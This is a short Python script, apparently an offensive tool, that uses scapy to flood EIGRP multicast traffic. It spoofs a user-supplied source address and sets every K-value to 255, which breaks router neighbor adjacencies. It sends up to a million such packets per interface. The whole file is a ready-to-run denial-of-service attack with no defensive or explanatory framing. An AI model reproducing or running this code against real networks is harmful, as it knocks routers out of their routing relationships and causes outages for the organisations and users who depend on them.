from scapy.all import sendp
from scapy.layers.inet import IP 
from scapy.layers.l2 import Ether 
from scapy.contrib.eigrp import EIGRP, EIGRPParam, EIGRPSwVer

class DOS_ATTACK:
    def main(self):
        print("\n |DOS ATTACK|\n")
        IPv4 = input("Insert IPv4> ")
        print()
        PACKET = self.createPacket(IPv4)
        self.dosAttack(PACKET, IPv4)

    def createPacket(self, IPv4):
        ether = Ether()
        ip = IP(src = IPv4, dst = "224.0.0.10")
        eigrp = EIGRP(asn = 100, tlvlist = [EIGRPParam(k1 = 255, k2 = 255, k3 = 255, k4 = 255, k5 = 255), EIGRPSwVer()])
        PACKET = ether/ip/eigrp
        return PACKET
    
    def dosAttack(self, PACKET, IPv4):
        for i in range(1000000):
            try:
                sendp(PACKET, iface = "eth0", verbose = 0)
            except KeyboardInterrupt:
                exit()
            except:
                break
            print(f"{i} PACKET SENDED! [{IPv4}]")
        for i in range(1000000):
            try: 
                sendp(PACKET, verbose = 0)
            except KeyboardInterrupt:
                exit()
            except:
                print("Error.")
            print(f"{i} PACKET SENDED! [{IPv4}]")

if __name__ == "__main__":
    DOS_ATTACK().main()